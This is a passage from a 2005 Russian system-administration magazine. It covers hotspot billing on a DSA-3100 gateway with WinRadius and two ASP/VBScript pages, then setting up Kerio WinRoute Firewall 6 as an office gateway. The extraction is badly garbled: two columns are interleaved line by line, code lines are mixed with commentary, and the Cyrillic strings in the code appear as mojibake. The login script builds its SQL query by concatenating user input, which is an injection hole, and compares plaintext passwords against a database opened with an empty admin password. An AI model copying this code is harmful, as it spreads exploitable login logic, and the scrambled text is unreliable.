несколько NAS-серверов DSA-3100 (сеть хотспотов или ин-
тернет-кафе), т.е. количество пользователей будет доволь-
но приличным.
Как же всё это реализовать? Ответ напрашивается сам
собой: нужно сделать пользовательский и администратор-
ский веб-интерфейс, который будет брать/класть данные в
нашу базу данных. Пусть всё это работает на веб-сервере,
работающем на том же компьютере, на котором работает
RADIUS. Веб-сервер мы поместим в зону, свободную для
просмотра ( DSA-3100 позволяет это сделать), чтобы даже
пользователи с нулевым и отрицательным балансом могли
Создаём 5 пользователей (больше, к сожалению, нельзя, зайти на страницу статистики/пополнения счёта.
демоверсия WinRadius не позволяет), всем назначаем ак- Выбираем веб-сервер: компьютер у нас под Win2k Server,
каунтинг на базе использованного трафика. Затем пробу- значит, скорее всего, будем использовать Apache для
ем аутентифицироваться: на компьютере, который подклю- Windows или IIS (Internet Information Services). Если выбе-
чён к Authentification-порту DSA-3100, набираем какой-либо рем Apache, то будем писать веб-страницы со скриптами
URL, шлюз перехватывает http-запрос и выдаёт нам форму на PHP (Perl и т. д. и т. п.). Если же выберем IIS, тогда бу-
для аутентификации (всё, разумеется, под защитой SSL). дем использовать технологию ASP (Active Server Pages).
Процесс аутентификации и завершение пользовательской Веб-страницы со скриптами в этом случае будем писать на
сессии отображается в окне WinRadius. Все данные, кото- VBS (Visual Basic Script – этот язык очень похож на бейсик,
рыми оперирует WinRadius, хранятся в базе данных (дан- который все мы изучали в школе) или на JavaScrip. Есть,
ные – это пользовательские аккаунты и логи). конечно, ещё много различных вариантов, на чём писать и
Откроем в MsAcсess файл WinRadius.mdb и посмотрим, что использовать, я перечислил то, что лежит на поверхно-
как выглядит база данных нашего RADIUS – а выглядит она сти. Остановимся, пожалуй, на IIS с ASP и VBS – вариант
довольно просто. Видим в ней несколько таблиц. наиболее простой для понимания и освоения. Весь пере-
Таблица tbLogs (в ней записались все данные об объе- численный функционал реализовывать не будем, но кое-
ме трафика, который прокачали 5 тестовых пользователей). что всё-таки покажем для примера.

24
на правах рекламы
Создаём сайт на веб-сервере IIS параметры соединения с БД (по порядку): драйвер, имя
! Control Panel → Administrative Tools → Internet Services файла БД, директория с файлом БД (не забудьте впи-
Manager (оснастка, управляющая IIS). сать туда директорию, в которой лежит WinRadius.mdb),
! Правой мышкой по компьютеру → New → Web Site → имя, пароль (пароль не задан и это, конечно же, надо
запустился мастер → пишем название сайта (любое) → тоже исправить).
назначаем ему IP-адрес → указываем папку, которая ! Строка 15: при помощи метода Execute объекта My
будет домашним каталогом сайта (туда будем склады- Connection выполняем SQL-запрос и ответ помещаем в
вать веб-странички со скриптами) → ничего не трога- переменную rsLogs (которая является набором записей,
ем, жмём «Next» → «Finish». Сайт готов, он появился в содержащим результат запроса к БД). Структура этой
левой половине оснастки. переменной определяется запросом, т.е. если на выхо-
де будет таблица, то rsLogs будет иметь структуру дан-
Скрипт №1 ной таблицы. Чтобы вывести данные из этой перемен-
Для начала сделаем страницу со скриптом, который про- ной, надо организовать цикл, выполняющийся до тех
сто обращается к нашей БД и полностью извлекает оттуда пор, пока набор записей не будет прочитан, что мы и
содержимое таблицы tbLogs. Делать можно в чём угодно, в делаем в последующих строках (22-28).
том числе и в блокноте (номера строк писать не надо – это ! Строки 17-21: делаем шапочку для таблицы, в которой
для удобства комментирования). Файл назовём bd.asp; со- будут отображены данные, считанные из БД.
храним его в домашний каталог сайта. ! Строка 22: начало цикла, в котором будем читать и вы-
водить содержимое переменной rsLogs до тех пор, пока
bd.asp её полностью не прочитаем (not rsLogs.EOF).
1 <html> ! Строки 23-26: выводим набор записей из rsLogs в таб-
2 <head> лицу на печать (т.е. на экран). Делаем это при помощи
3 <title>tbLogs</title>
4 </head> метода write объекта Response. Если содержимое вы-
5 <body bgcolor="#FFFFFF" text="#000000"> вода является HTML, то помещаем его в кавычки; если
6 ------ Òàáëèöà <b>tbLogs</b> ------- <br><br>
7 содержимое вывода какая-либо переменная, то пишем
8 <% set MyConnection = ↵ её без кавычек. HTML и переменные можно чередовать
Server.CreateObject("ADODB.Connection")
9 в выводе, объединяя их символом «&».
10 MyConnection.Open "Driver={Microsoft Access Driver ↵ ! Строка 27: перемещаемся на следующую строку набо-
(*.mdb)};" & _
11 "DBQ=WinRadius.mdb;" & _ ра записей, содержащихся в rsLogs.
12 "DefaultDir=C:\(radius)\WinRadius;" & _
13 "Uid=Admin;Pwd=;"
! Строка 28: идём в начало цикла.
14 ! Строка 30: закрываем теги <tr> и <table>, которые мы
15 set rsLogs=MyConnection.Execute ("SELECT * FROM tbLogs") открыли перед циклом вывода данных (22-28).
16
17 response.write "<table width=90% border=1 ↵ ! Строки 31-32: закрываем набор записей rsLogs и скрипт
cellspacing=0 align=center><tr><td><b>happen</b></td>" символом «%>».
18 response.write ↵
"<td><b>username</b></td><td><b>duration</b>" ! Строки 33-34: конец страницы.
19 response.write ↵
"</td><td><b>input</b></td><td><b>output </b></td><td>"
20 response.write "<b>fee</b></td></tr>" Результат обращения к данной странице:
21
22 do while not rsLogs.EOF
23 response. write "<tr>"
24 response.write "<td>" & rsLogs("happen") & ↵
"</td><td>" & rsLogs ("username") & "</td><td>" & ↵
rsLogs("duration")
25 response.write "</td><td>" & rsLogs ("input") & ↵
"</td><td>" & rsLogs ("output") & "</td><td>" & ↵
rsLogs ("fee") & "</td>"
26 response. write "</tr>"
27 rsLogs.movenext
28 loop
29
30 response.write "</tr></table>"
31 rsLogs.Close
32 rsLogs = null %>
33 </body>
34 </html>

Разбор bd.asp:
! Строки 1-6: здесь всё понятно – простой HTML.
! Строка 8: значок «<%» открывает скрипт. При помощи ме-
тода CreateObject объекта Server создаётся соединение
ADO – MyConnection (которое в свою очередь тоже явля-
ется обьектом и имеет набор свойств и методов). Набираем в браузере: http://IP веб-сайта/bd.asp.
! Строки 10-13: при помощи метода OPEN объекта В ответ получаем содержимое таблицы БД, в которую
MyConnection открывается соединение с базой данных сложились логи с DSA-3100, выступающего в качестве NAS
RADIUS. В строке соединения (строки 11-13) задаются (думаю, что у всех всё заработало).

№1, январь 2005 25


администрирование
Скрипт №2 39 pas=rsUsers("password")
Теперь реализуем функционал, позволяющий пользовате- 40 rsUsers.movenext
41 loop
лю смотреть статистику своих соединений, страницу статис- 42
тики защитим паролем. Вся обработка обращения пользо- 43 If pas = sSearchPassword then
44
вателя осуществляется одной страницей, в которой будет 45 strSQL1="SELECT * FROM tbLogs ↵
выполняться та или иная часть скрипта в зависимости от WHERE username = " & "'"& sSearchLogin &"'"
46 set rsLogs1=Connection.Execute (strSQL1)
того, что пользователь введёт в поля «логин» и «пароль» 47
(этот метод называется «рекурсивная обработка формы»). 48 response.write "<P align=center>Ëè÷íàÿ ñòàòèñòèêà ↵
ïîëüçîâàòåëÿ <b>" & sSearchLogin & "</b></p><br><br>"
Файл назовём bd2.asp, его также сохраним в домашнем 49 response.write "<table width=90% border=1 ↵
каталоге сайта. Логика работы страницы следующая: cellspacing=0x align=center><tr><td><b>íà÷àëî ↵
ñåññèè</b></td>"
1. Проверяем, введено ли что-нибудь в поля «логин» и «па- 50 response.write "<td><b>username</b></↵ ↵
роль»: td><td><b>ïðîäîëæèòåëüíîñòü [ìèí]</b>"
51 response.write "</td><td><b>input ↵
! если оба поля не заполнены, или не заполнено ка- [Mb]</b></td><td><b>output[Mb] </b></td><td>"
кое-либо одно поле, то снова выдаём пустую форму 52 response.write "<b>ñòîèìîñòü [$]</b></td></tr>"
53 do while not rsLogs1.EOF
(т.е. возвращаемся к пункту 1); 54 input=input+rsLogs1("input")
! если оба поля заполнены, то переходим к пункту 2. 55 output=output+rsLogs1("output")
56 duration=duration+rsLogs1("duration")
2. Обращаемся к БД и проверяем правильность логина и 57 fee=fee+rsLogs1("fee")
пароля: 58
59 response. write "<tr>"
! если пароль и логин правильные, то выдаём пользо- 60 response.write "<td>" & rsLogs1("happen") & "</td><td> ↵
вателю статистику его соединений; " & rsLogs1("username") & "</td><td>" & ↵
round((rsLogs1("duration")/60),2)
! если неправильные, выдаём сообщение «Неправиль- 61 response.write "</td><td>" & Round(((rsLogs1 ↵
ное или несуществующее имя пользователя или па- ("input"))/1024/1024) ,3) & "</td><td>" & ↵
Round(((rsLogs1 ("output"))/1024/1024) ,3)
роль!». 62 response.write "</td><td>" & ((rsLogs1("fee")) /100) ↵
& "</td>"
63 rsLogs1.movenext
bd2.asp 64 response. write "</tr>"
65 loop
1 <html> 66
2 <head> 67 response.write "</tr></table>"
3 <title>tbLogs</title> 68 response.write "<br><br><br><P ↵
4 <META http-equiv=Content-Type content="text/html; ↵ align=center>__________________________________<br>"
charset=windows-1251"> 69 response.write "ñóììàðíûé èñõîäÿùèé òðàôèê: <b>" & ↵
5 </head> round((output/1024/1024),3) & "</b> Mb<br><br>"
6 <body bgcolor="#FFFFFF" text="#000000"> 70 response.write "ñóììàðíûé âõîäÿùèé òðàôèê: <b>" & ↵
7 <% round((input/1024/1024),3) & "</b> Mb<br><br>"
8 Dim sSearchLogin 71 response.write "ñóììàðíàÿ ïðîäîëæèòåëüíîñòü ñåññèé: ↵
9 Dim sSearchPassword <b>" & round((duration/60/60),2) & "</b> ÷àñîâ <br><br>"
10 72 response.write "ðàñõîä çà îò÷¸òíûé ïåðèîä: <b>" & ↵
11 sSearchLogin = Request.Form("login") (fee/100) & "</b> $ ↵
12 sSearchPassword = Request.Form("password") <br>__________________________________________<br></p>"
13 73 rsLogs1.Close
14 if sSearchLogin = "" or sSearchPassword = "" Then 74 rsLogs1 = null
15 75 response.end
16 response.write "<div align=center> <table ↵ 76
cellpadding=10><tr><td ↵ 77 End If
bgcolor=#CC6600>&nbsp;</td></tr></table>" 78
17 response.write "<p><b><font color=#CC6600>Mega ↵ 79 response.write "Íåïðàâèëüíîå èëè íåñóùåñòâóþùåå èìÿ ↵
Wi-Fi network billing system ↵ ïîëüçîâàòåëÿ èëè ïàðîëü!"
</font></b></p><p>&nbsp;</p> <p><br><br>" 80 %>
18 response.write "--- Ñåðâåð ñòàòèñòèêè --- " 81
19 response.write "<form name=form method=post ↵ 82 </body>
action=bd2.asp><table align=center border=1><tr> ↵ 83 </html>
<td ><b>Ëîãèí:</b></td><td > "
20 response.write "<input type=text name=login> ↵
</td></tr><tr><td ><b>Ïàðîëü:</b></td><td> " Разбор bd2.asp :
21 response.write "<input type=password ↵ ! Строки 1-6: здесь всё понятно – простой HTML.
name=password><input type=submit name=Submit ↵
value=âõîä> </td></tr></table></form>" ! Строка 7: значок «<%» открывает скрипт.
22
23
Response.End ! Строки 8,9: объявляем переменные, в которые считаем
24 End If из формы логин и пароль.
25
26
%>
<%
! Строки 11,12: получаем логин и пароль из POST-запроса.
27 set Connection = Server.CreateObject("ADODB.Connection") ! Строка 14: начало условия (проверяем введено ли имя
28 пользователя и пароль – сравниваем то, что получили
29 Connection.Open "Driver={Microsoft Access Driver ↵
(*.mdb)};" & _ из запроса с пустотой).
30 "DBQ=WinRadius.mdb;" & _
31 "DefaultDir=C:\(radius)\WinRadius;" & _
! Строки 16-22: выводим чистую форму, если пользователь
32 "Uid=Admin;Pwd=;" не заполнил оба или одно из полей «логин» и «пароль».
33
34 strSQL="SELECT password FROM tbUsers ↵
! Строка 24: конец условия.
WHERE username = " & "'"& sSearchLogin &"'" ! Строка 25: конец скрипта.
35
36 set rsUsers=Connection.Execute (strSQL)
! Строка 26: начало нового скрипта, который будет вы-
37 pas="" полняться в том случае, если имя и пароль введены.
38 do while not rsUsers.EOF ! Строка 27-32: подключаемся к БД.

26
на правах рекламы
! Строка 34: формируем SQL запрос к БД, который выби- Вводим правильные логин и пароль, получаем резуль-
рает пароль для пользователя с именем, которое вве- тат (если логин или пароль неправильные, то ничего не
дено в форму. получаем).
! Строка 36: выполняем запрос. Поздравляю! Мы написали хотспотный биллинг.
! Строка 37: объявляем переменную «pas» и приравни-
ваем её к пустой строке. Выводы
! Строки 38-41: читаем набор записей, в котором содер- На первый взгляд всё довольно сложно и запутанно. Но если
жится ответ на SQL-запрос, и присваиваем его значе- разобраться, ничего сложного нет: NAS-серверы, в роли ко-
ние переменной «pas». Если бы в базе не нашлось па- торых выступают DSA-3100, проводят аутентификацию
роля для введённого имени, тогда бы переменная «pas» пользователей и пишут CDR-подобную статистику в еди-
осталась бы пустой. ную базу данных RADIUS. Для реализации различных до-
! Строка 43: если выбранный пароль совпадает с введён- полнительных (практически любых) функций биллинга раз-
ным, то выполняем с 45 по 76 строку; если не совпада- рабатываем веб-интерфейс, для чего используем, напри-
ет, тогда выполняем строку 80 – выдаём «Неправиль- мер, ASP или PHP. Тарификация пользователей может осу-
ное или несуществующее имя пользователя или па- ществляться на основе использованного времени или
роль!». по трафику. В случае с одиночно стоящим хотспотом – сер-
! Строки 45-76: делаем запрос к БД, в ответ получаем висный шлюз DSA-3100 и тикет-принтер DSA-3100P – яв-
выборку для нужного пользователя. Выводим статис- ляются биллингом во плоти, никаких гаек подкручивать не
тику на экран в удобной форме. Response.End (76 стро- надо, с построением хотспота справится любой, но тари-
ка) означает конец вывода. фикация будет вестись только по времени.
! Строка 77: конец условия. Возможно, многих озаботит немалое количество доро-
! Строка 79: если условие не выполнилось, т.е. пользо- гого программного обеспечения, которое необходимо за-
ватель ввёл неправильный пароль или имя, – выдаём действовать совместно с шлюзом в случае построения сети
соответствующее сообщение. хотспотов, однако я никого не призываю покупать именно
! Строки 83-84: конец страницы. это ПО.
Я говорю следующее: есть простые HOTSPOT и для это-
Результат обращения к bd2.asp го подойдёт DSA-3100 – любой – опытный и не очень пользо-
(результат выполнения скрипта) ватель может его себе поставить и всё заработает с пол-
Заходим на страницу, получаем форму для ввода логина и оборота. Но бывают сложные решения, и этот шлюз мо-
пароля (неплохо было бы и здесь использовать SSL, чтобы жет, несмотря на всю его простоту, быть использован и для
злоумышленники не перехватили открытый POST-запрос сложного решения.
c логином и паролем, но о том, как прикрутить SSL к IIS Я показал на базе продуктов от Microsoft и RADIUS-сер-
как-нибудь в другой раз – это довольно-таки легко сделать вере под Windows, какую роль будет выполнять шлюз в этом
при помощи пакета OpenSSL). случае. Microsoft – это просто, визуально, понятно любому.
Либо можно использовать связку: Linux + (WEB)Apache/php
+ (БД)Oracle + (RADIUS)Radiator + NAS(DSA-5100).
Видимо, наиболее применимы эти устройства будут для
организации точек HOTSPOT в кафе, ресторанах, гостини-
цах и прочих заведениях. Но возможно их использование и
для серьёзных операторских решений, потому как любой
уважающий себя биллинг поддерживает протокол RADIUS.
При помощи данных устройств можно легко интегрировать
HOTSPOT в сеть сотового оператора. Такое решение, на-
пример, представил «Енисейтелеком» (это ведущий опе-
ратор сотовой связи в Красноярском крае) на выставке
«Связь – ИНФОКОМ 2004»: пользователи отправляли sms
на сервисный номер оператора и получали в ответ sms-со-
общение с именем и паролем для доступа в Интернет. Шлюз
взаимодействовал с биллингом оператора (он поддержи-
вал протокол RADIUS), деньги за пользование услугой сни-
мались с сотового счёта абонента. Очень оригинальная и
комфортная с точки зрения пользователя HOTSPOT схема
доступа к услуге.
Вместе с тем шлюз DSA-3100 сможет сэкономить нема-
ло времени на настройку авторизации и тарификации ад-
министратору обычной проводной (в том числе домашней)
сети, предоставив в его распоряжение надежную систему
авторизации по IP + MAC в совокупности с авторизацией
по логину и паролю.

№1, январь 2005 27


безопасность

ОРГАНИЗАЦИЯ ОБЩЕГО ДОСТУПА В ИНТЕРНЕТ


И ЗАЩИТЫ ОТ ВТОРЖЕНИЙ НА ОСНОВЕ
Kerio WinRoute Firewall 6

РОМАН МАРКОВ
28
безопасность
Данная статья – попытка помочь начинающим системным мендую в свойствах сетевого окружения сразу переимено-
администраторам получить первоначальные навыки предо- вать подключения, например «LAN» и «Internet», чтобы в
ставления общего доступа в Интернет и защиты локаль- будущем не путаться. Во втором случае надо будет настро-
ной сети от внешних вторжений. Это не подробное описа- ить внутренний сервер DNS. В консоли управления DNS-
ние всех возможностей данного продукта, а методика на- сервером правой клавишей мыши кликаем по нужному сер-
стройки – от момента установки до начала работы пользо- веру и выбираем «Свойства». Закладка «Пересылка»
вателей. В ней рассматривается организация шлюза в Ин- (Forwarding). Ставим галочку «Разрешить пересылку» и
тернет на основе выделенного компьютера с двумя сете- задаем внутренний адрес нашего сервера общего досту-
выми картами. па. Если внутренний DNS-сервер совпадает с нашим сер-
вером общего доступа, то прописываем здесь DNS-сервер
Выбор оборудования и первоначальная провайдера.
настройка системы и локальной сети Если галочка «Пересылка» недоступна, то необходимо
Описываемая система будет крайне непритязательна к ап- удалить зону «.» (точка) из списка зон вашего DNS-серве-
паратным ресурсам. Фактически требования совпадают с ра, закрыть консоль DNS и заново открыть. Изменения мо-
требованиями устанавливаемой операционной системы. То гут вступить в силу в течение 15 минут, так что не волнуй-
есть для среднего сервера, предназначенного для предос- тесь, если галочка «Пересылка» не стала доступна сразу
тавления общего доступа в Интернет на скорости до 128 после удаления зоны «.». Закройте оснастку DNS и подож-
Кбит/сек для 5-7 пользователей, достаточно будет компью- дите некоторое время.
тера Celeron 300-400 МГц, 128 Мб RAM, 5-10 Гб HDD. Затем заходим на закладку «Корневые ссылки» (Root
Исходя из опыта автора данной статьи, можно также Hints). Удаляем там все, что видим, так как разрешением
сказать, что роль такого сервера (Маршрутизатор, Прокси- DNS занимается провайдер, а не ваш шлюз напрямую. Ина-
сервер, Firewall, Почтовый сервер, FTP-сервер) для 10-15 че при некорректной настройке вы рискуете получить до-
пользователей прекрасно может выполнять компьютер сле- вольно большой паразитный трафик от DNS-запросов к
дующей конфигурации: Intel Celeron 733, 256 Мб RAM, HDD корневым интернет-серверам. Подробная инструкция по на-
10 Гб IDE с установленной операционной системой Windows стройке DNS-сервера домена Windows 2000/2003 приведе-
2000 Server. на в октябрьском номере журнала – в статье «Установка и
Принципиальное отличие данной системы от распрост- настройка W2K Server».
раненных решений, основанных на анализе сторонними Затем настраиваем свойства сетевого подключения к
программами журналов доступа к прокси-серверу – это воз- интернет-провайдеру. Подразумевается, что эти действия
можность наиболее простым способом организовать офис- производит либо ваш провайдер, либо вы по инструкции
ную биллинговую систему для любого трафика пользова- провайдера.
телей, проходящего через NAT. Также важным нововведе- Внимание: рекомендуется подключать кабель внешней
нием является функция мгновенного отключения пользо- сетевой карты (к интернет-провайдеру) только после уста-
вателю доступа в Интернет при превышении персонально- новки Kerio WinRoute Firewall. В противном случае вы рис-
го лимита. При анализе же журналов доступа при помощи куете тут же подвергнуться вирусной атаке. Из опыта авто-
сторонних программ изменение статистики происходит дис- ра статьи: иногда достаточно нескольких минут работы без
кретно, через заданный промежуток времени. Помимо это- межсетевого экрана, чтобы поймать червя семейства Blaster
го, в распространенных простых системах анализируется или Sasser.
только трафик приложений через прокси-сервер, а не весь Обязательно снимите галочки с привязок «Клиент для
трафик пользователя. сетей Microsoft» и «Служба доступа к файлам и принтерам»
Если количество пользователей колеблется от 20 до 50, в свойствах внешнего интерфейса.
то для абсолютной уверенности в надежности и скорости После этого приступаем к установке Kerio WinRoute
работы подобного сервера рекомендуется использовать Firewall 6.
следующую конфигурацию оборудования: Intel Pentium II-III
(Celeron) 1000-1500 МГц, 512 Мб RAM, HDD 18 Гб SCSI. Но Установка
это уже вопрос финансов. SCSI-диски рекомендуется ис- Дистрибутив скачиваем с официального сайта http://
пользовать для надежности и увеличения скорости досту- www.kerio.com/kwf_download.html. Это trial-версия, работа-
па к кэшу прокси-сервера. Крайне рекомендуется исполь- ющая в течение 30 дней – срока, достаточного для тести-
зовать SCSI-диски, если вы будете применять систему ста- рования продукта. Потом необходимо приобрести лицен-
тистики по пользователям – процедура записи и анализа зию. Trial-версия полностью функциональна.
журнала запросов очень сильно нагружает именно диско- Запускаем программу установки, принимаем лицензи-
вую систему. онное соглашение и указываем путь расположения файлов.
При необходимости получения постоянного контроля за
Настройка операционной системы трафиком пользователей и анализа журналов доступа ре-
На внутреннем сетевом интерфейсе не должно быть про- комендуется использовать SCSI-диск, так как данный тип
писано шлюза по умолчанию! В качестве DNS-сервера на дисков является наиболее отказоустойчивым при большом
нем прописываем либо DNS-сервер провайдера (если нет количестве дисковых операций в единицу времени. Затем
домена Windows 2000), либо внутренний DNS-сервер ло- выбираем тип установки: «Custom». После этого нам пред-
кальной сети, в случае если Active Directory поднят. Реко- ложат выбрать необходимые компоненты. Если мы не пла-

№1, январь 2005 29


безопасность
нируем использовать WinRoute для организации VPN-ка- дящий в домен при помощи терминального доступа (Remote
нала между сетями, то снимаем галку «VPN Support». Фай- Desktop), то после перезагрузки войти в него при помощи
лы помощи на чешском языке нам тоже вряд ли понадобят- доменной учетной записи вам, скорее всего, не удастся.
ся. Поэтому снимаем галку «Czech» внутри опции «Help Придется использовать либо учетную запись локального
Files». Переходим к следующему экрану. администратора, либо не использовать терминальный до-
ступ, а войти на сервер локально. Честно говоря, не со-
всем понятно, почему это происходит. Возможно, что будет
исправлено в последней версии (автор использовал 6.0.4).
При экспериментах создалось впечатление, что трафик
авторизации блокировался в момент первого входа.
Итак, регистрируемся с учетной записью администра-
тора любым возможным способом. Если предлагают запу-
стить консоль администрирования WinRoute – отказываем-
ся. В меню «Пуск → Программы → Kerio → WinRoute
Firewall» запускаем Engine Monitor. В системном трее по-
явится значок WinRoute. Щелкаем по нему правой клави-
шей мыши и выбираем «Startup Preferences». В открывшем-
ся окне устанавливаем обе галочки. Первая – задает авто-
матический запуск сервиса WinRoute, а вторая – автомати-
ческий запуск его монитора в системном трее.

Создаем первую учетную запись администратора и па-


роль.
Внимание! Поменяйте имя предложенной записи «Admin»
на другое. Задайте и подтвердите для нее сложный пароль
(в противном случае вы рискуете подвергнуться атаке зло-
умышленников). Переходим к следующему экрану. Про-
грамма предупреждает нас о том, что после установки по
умолчанию будет блокирован любой сетевой трафик, по-
этому если вы в момент установки конфигурируете сервер Дважды щелкаем на значке WinRoute в трее и вводим
общего доступа удаленно – укажите внутренний IP-адрес, адрес нашего сервера WinRoute, а также данные создан-
с которого необходимо разрешить доступ к удаленному кон- ной нами учетной записи администратора. Если WinRoute
фигурированию. Для дальнейшего конфигурирования установлен на этом же компьютере – оставляем в поле ад-
WinRoute через Интернет необходимо будет добавить со- реса «Localhost».
ответствующее разрешение в Traffic Policy. Например, IP-
адрес рабочей станции, с которой производится удаленное
конфигурирование.

Запустится мастер (Network Rules Wizard), который по-


может произвести первоначальную настройку. Тут есть два
варианта – либо воспользоваться мастером, либо отказать-
Если в процессе установки мы получим сообщение о ся от него и настроить все вручную. Если вы досконально
том, что данное программное обеспечение не тестирова- понимаете, что именно необходимо настраивать, можно
лось или не подписано – не обращаем внимания и выбира- выбрать второй метод. Мы опишем настройку при помощи
ем продолжение установки. После установки будет пред- мастера, так как она без особых хлопот позволяет органи-
ложено перезагрузить компьютер. зовать настройку защиты и общего доступа «за 7 кликов
Помните, что если вы конфигурируете компьютер, вхо- мышью».

30
безопасность
Настройка при помощи мастера Настройка базы пользователей
Соглашаемся с предложением мастера продолжить на- Теперь наша задача – создать или импортировать из базы
стройку. На втором шаге выбираем тип нашего соедине- Active Directory учетные записи пользователей. Если домен-
ния с Интернетом. В нашем случае это «Ethernet, DSL, cable ная структура не используется, то всех пользователей при-
modem or other». На следующем шаге выбираем тот сете- дется завести вручную. Заведение пользователей вручную
вой адаптер, который подключен к сети Интернет. Если в аналогично описанной ниже процедуре создания шаблона
списке не появился нужный нам адаптер – подключите се- автоматически импортируемых пользователей (Define User
тевой кабель к нему и заново запустите мастера. Шаг 4 Template).
позволит нам решить – к каким именно внешним сервисам Открываем консоль Users and Groups. Сначала созда-
разрешено будет обращаться клиентам локальной сети. дим две основные группы: Admins и Users. В группу Admins
Рекомендуемый минимум: HTTP и HTTPs. Если помимо мы включим учетные записи администраторов нашего шлю-
просмотра веб-страниц клиенты локальной сети должны по- за, а в группу Users – обычных пользователей, которые
лучать почту с внешних почтовых ящиков по протоколам должны будут получать доступ в Интернет. Добавляем в
POP3, IMAP, а также отправлять по SMTP – устанавливаем группу Admins единственного на данный момент пользова-
необходимые галочки. То же самое с доступом к внешним теля нашего брандмауэра – учетную запись, с которой мы
FTP-серверам. Прямое разрешение имен DNS через Интер- регистрируемся для конфигурирования WinRoute, выбира-
нет для клиентов локальной сети не является необходи- ем опцию «Full Access to administration» и, при необходимо-
мым – наш шлюз будет перенаправлять такие запросы и сти, все нижеследующие галочки.
возвращать ответы. Затем отвечаем на вопрос, будем ли Опишем их назначение:
мы использовать VPN-соединение средствами WinRoute. ! Users can override WWW content rules – разрешает
На шаге 6 можно указать внутренние сервера, к кото- пользователям доступ к запрещенным в Content Rules
рым необходимо дать доступ из внешней сети, т.е. Интер- ресурсам. Установка этой опции делает доступными все
нета. Например, внутренние Web, FTP или почтовые сер- просматриваемые ресурсы, независимо от явных зап-
вера. Если мы вообще не хотим предоставлять доступ к на- ретов в правилах.
шей сети извне – не добавляем никаких правил. ! Users can unlock URL rules – пользователи могут раз-
! Добавим доступ из Интернета к удаленному управле- блокировать запрещенные ссылки. При посещении зап-
нию рабочим столом (Terminal Services) нашего шлюза. рещенной ссылки пользователю выдается окно с ука-
Нажимаем Add… В поле «Service is running on» – указы- занием, что посещение данного ресурса запрещено пра-
ваем «Firewall». В поле «Service» выбираем «RDP». вилами, однако предлагается отменить этот запрет на-
! Теперь добавим доступ к внутреннему веб-серверу, рас- жатием на ссылку «Unlock».
положенному на другом компьютере с IP-адресом ! Users can dial RAS connection – пользователи имеют пра-
192.168.0.5. Снова нажимаем Add… В поле «Service is во инициировать соединение через RAS (модемное под-
running on» – указываем «IP address – 192.168.0.5». В ключение, например).
поле «Service» выбираем «HTTP». ! Users can connect using VPN – пользователи имеют пра-
во инициировать VPN-соединение.
! Users are allowed to use P2P networks – пользователям
разрешено пользоваться P2P-сетями (Kazaa, Edonkey и
пр.).

Затем открываем консоль Users and Groups, в ней –


Users. Переходим на закладку – Authentication Options. Ус-
танавливаем опцию «Always require users to be authenticated
when accessing web pages». Опция «Automatically logout users
when they are inactive» задает период в минутах, после ко-
торого пользователь, не проявлявший активности, будет
отключен от брандмауэра. В этом случае при следующем
обращении к веб-ресурсам окно аутентификации появится
вновь. Данная опция позволяет предотвратить использова-
ние «чужого» входа в систему для просмотра веб-страниц.
То есть, даже если пользователь оставил свой компьютер
По аналогии конфигурируем доступ из Интернета к дру- незаблокированным, через указанное время происходит от-
гим внутренним службам. ключение его сеанса доступа в Интернет.
Шаг 7 предоставляет возможность организовать общий Если мы импортируем учетные записи пользователей
доступ для клиентов локальной сети наружу при помощи из домена Active Directory, то переходим к закладке Active
технологии NAT. Соглашаемся с предложением мастера Directory/NT Domain и устанавливаем опцию Enable Active
(галочка «Enable NAT»). Directory authentication.
Если мы согласны с указанными настройками, то на 8-м Если же используется домен NT, то устанавливаем га-
шаге нажимаем кнопку «Далее». лочку Enable NT Domain authentication в нижней части зак-
Все, первоначальные настройки сделаны! ладки.

№1, январь 2005 31


безопасность
ните у своего провайдера. Очень полезна опция «Quota
Exceed Action». В этой части задается действие, которое
необходимо произвести при превышении пользователем
своей квоты.
Generate Alert Message Only – пользователь получит со-
общение о превышении персонального лимита, но не ли-
шится доступа в Интернет.
Do not allow the user to open new connection – запрещает
пользователю создавать новые соединения, однако те, ко-
торые в данный момент активны, продолжат свое существо-
вание. Например, если пользователь закачивает большой
файл и его лимит оказывается превышен на середине про-
цесса закачки – WinRoute все равно позволит скачать этот
файл, а затем запретит доступ.
Kill all users connections immediately – наиболее полез-
ная и долгожданная для многих администраторов опция.
При превышении персонального лимита все соединения
Задаем имя домена. Далее у нас есть два пути: пользователя отключаются. В отличие от предыдущего пун-
Нажимаем Import Users Accounts Now и отмечаем гал- кта, даже если пользователь закачивает большой файл, при
ками тех пользователей, которых хотим импортировать. достижении лимита все его соединения отключаются. Сле-
Очень большой минус этого метода заключается в том, что дует помнить, что небольшая погрешность все-таки суще-
тогда каждому пользователю придется вручную задавать ствует, так как счетчики не обновляются мгновенно. То есть
принадлежность к группе, права доступа и персональный в зависимости от скорости соединения пользователь все-
лимит. При количестве пользователей более 20 это очень таки немного превысит допустимый трафик (при высокой
утомительно. скорости величина превышения может колебаться до 1 Мб).
Более рациональный способ. Разрешаем автоматичес- В закладке Content Rules можно принудительно запре-
кий импорт учетных записей из Active Directory – Automatically щать или разрешать использование различных скриптов,
Import User Accounts from Active Directory. Указываем имя таких как ActiveX, Java-Script и пр.
сервера, с которого будет производиться чтение учетных
записей, а также специальную учетную запись, единствен- Настройка клиентов
ное предназначение которой – получить доступ Read-Only Настройка клиентов крайне проста. В свойствах сетевого
к базе AD. Пользователи будут добавляться в базу WinRoute подключения по локальной сети указываем шлюз по умол-
по мере их обращения к ресурсам Интернета. То есть чанию (Default Gateway) – внутренний адрес созданного
WinRoute проверяет, существует ли в домене указанная нами сервера общего доступа. В качестве DNS-сервера
учетная запись и если указанные пользователем при пер- указываем либо внутренний DNS-сервер (при наличии до-
вом входе данные совпадают с данными домена – пользо- мена Active Directory), либо тот же внутренний адрес наше-
ватель автоматически прописывается в базу WinRoute и го шлюза.
получает стандартные настройки. Их создание описано Все! Принципиально новое неоспоримое преимущество
ниже. нового продукта от Kerio в том, что можно забыть про ука-
Нажимаем кнопку Define User Template. Указываем груп- зание прокси-сервера в свойствах приложений. При поступ-
пу пользователей, к которой автоматически будут причис- лении запроса от клиента WinRoute 6 сам определяет его
ляться новые пользователи (в нашем случае – Users). В тип (браузер, FTP и т. д.) и обрабатывает соответствующим
закладке Rights оставляем все по умолчанию – No access образом. Больше не нужно заботиться о том, чтобы клиен-
to administration и никаких Additional Rights (либо указыва- ты использовали прокси-сервер для просмотра веб-страниц,
ем те, которые необходимы. Описание дополнительных прав для контроля расхода интернет-трафика. Kerio WinRoute
приведено выше). В закладке Quota задаем лимит трафи- Firewall 6 принудительно подсчитает трафик.
